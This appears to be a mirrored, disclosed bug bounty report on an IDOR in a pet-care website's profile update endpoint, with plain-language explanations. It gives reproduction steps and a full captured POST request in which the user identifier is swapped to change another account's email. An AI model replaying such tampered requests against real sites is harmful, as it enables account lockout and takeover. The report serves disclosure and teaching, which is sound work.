Skip to content
IDOR Disclosed report Beginner

████ ' can change any account email and cannot retrieve his account and access it ' at ███

The user profile update endpoint accepted a user identifier from the request body without checking that it belonged to the logged-in user, so an authenticated attacker could change any account's email address. The attacker could then lock the victim out of their account, and potentially take it over by triggering a password reset to the new address.

0xs4m Follow

Originally disclosed on HackerOne

High 7.8 View original
  • Disclosed after 2 months

Summary by the program

An Insecure Direct Object Reference (IDOR) vulnerability was present in the user profile update functionality on the ██████████ website. The vulnerability allows an authenticated attacker to modify the email associated with any user account by manipulating the ' ██████████ ' parameter in the POST request sent to the ' ██████████ ' endpoint. The attacker can leverage this vulnerability to potentially take control of victim accounts by changing the email and initiating a password reset.

The report

hi ███ i found ██████████ , i can change any account email and he cannot retrieve his account and access it easily.

i can't access to his account because url activation on new email don't work and give me error.

SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data

but hackers will be able to disable access users to their account on the site.

  1. Go to registration page (████)
  2. Verified your account.
  3. Go to login page and login your account.

For the fastly test, use this credentials to login (you can use this account attacker to send request to burp and test on victim's account's i was created)

  • For Attacker

███████████ Password ███████████ : ███████

  • For Victim 1

████████████ Password ████ : ██████████

  • For Victim 2

██████████████ Password █████████ : ████ For Victim 3

████ Password ██████████

i access to my account victim and i go to edit my profil and send request to burp to get id user for this account ( my method of video for the attacker account is the same that i did on the victim account to get her id user ).

so .. after login i go to edit my account attacker and send request to burp and send it to repeater .. i change my id to victim id and i change email to my new email and click send so i succeeded.

i received an activation message on my new email i click on active url .. despite give me an error message when i click on the link activation

SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data

the change was made successfully and the victim cannot log into his account, as it will give him an error message when he logs in.

i created +5 account victim for testing that and its worked, and can kids hackers to change the id user to anything like 10 or 100 or any number and change email this account for that id user.

burp request

POST /_post/usuario_actualizar.php HTTP/1.1
Host: ████████
Cookie: ████
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/██████ Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: ████████
Content-Type: multipart/form-data; boundary=---------------------------297392175112058██████████7932062474594
Content-Length: 2851
Origin: ███████-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------297392175112058█████████████7932062474594
Content-Disposition: form-data; name="nombre"

attacker
-----------------------------297392175112058████7932062474594
Content-Disposition: form-data; name="apellido"

attacker
-----------------------------297392175112058███████7932062474594
Content-Disposition: form-data; name="email"

████████████
-----------------------------297392175112058███████7932062474594
Content-Disposition: form-data; name="rut"


-----------------------------297392175112058███7932062474594
Content-Disposition: form-data; name="idProvincia"

0
-----------------------------297392175112058███7932062474594
Content-Disposition: form-data; name="idLocalidad"

0
-----------------------------297392175112058███████████7932062474594
Content-Disposition: form-data; name="optin[usuario_info_miroyalcanin]"

no
-----------------------------297392175112058███████████7932062474594
Content-Disposition: form-data; name="optin[usuario_info_miroyalcanin]"

si
-----------------------------297392175112058████████7932062474594
Content-Disposition: form-data; name="optin[usuario_info_marspetcare]"

no
-----------------------------297392175112058██████████7932062474594
Content-Disposition: form-data; name="optin[usuario_info_marspetcare]"

si
-----------------------------297392175112058████7932062474594
Content-Disposition: form-data; name="optin[usuario_investigaciones]"

no
-----------------------------297392175112058██████████7932062474594
Content-Disposition: form-data; name="optin[usuario_investigaciones]"

si
-----------------------------297392175112058███████7932062474594
Content-Disposition: form-data; name="optin[usuario_info_perros]"

no
-----------------------------297392175112058██████7932062474594
Content-Disposition: form-data; name="optin[usuario_info_perros]"

si
-----------------------------297392175112058████████7932062474594
Content-Disposition: form-data; name="optin[usuario_info_gatos]"

no
-----------------------------297392175112058███████████7932062474594
Content-Disposition: form-data; name="optin[usuario_info_gatos]"

si
-----------------------------297392175112058██████████████7932062474594
Content-Disposition: form-data; name="switch_pass"

off
-----------------------------297392175112058███7932062474594
Content-Disposition: form-data; name="ck_oldpass"

Password
-----------------------------297392175112058███████7932062474594
Content-Disposition: form-data; name="oldpass"


-----------------------------297392175112058████████████7932062474594
Content-Disposition: form-data; name="clave"


-----------------------------297392175112058█████████████7932062474594
Content-Disposition: form-data; name="clave2"


-----------------------------297392175112058███████████7932062474594
Content-Disposition: form-data; name="█████"

88796
-----------------------------297392175112058████████7932062474594--

██████

Impact

█████████████

The original report as published on HackerOne, by 0xs4m. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An authenticated attacker could change any user's email, locking the victim out of their account; the attacker could not complete a full takeover because the activation link returned an error, but the report notes hackers could still deny access to users.

What the attacker needed

A free account; victim's user identifier

How it was found

  1. Register an account and verify it.
  2. Log in and open the profile edit page.
  3. Capture the profile update request in an intercepting proxy.
  4. Replace the user identifier with the victim's identifier and set a new email address.
  5. Send the request; the victim's email is changed and they can no longer log in.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you edit your profile, the website sends your user number along with the new details. The site trusted that number without checking it really was yours, so someone could swap in another person's number and change their email. Changing the email can lock the real owner out and let the attacker reset the password.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More by 0xs4m

View all

4 more disclosed reports, best first.

More from Mars

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.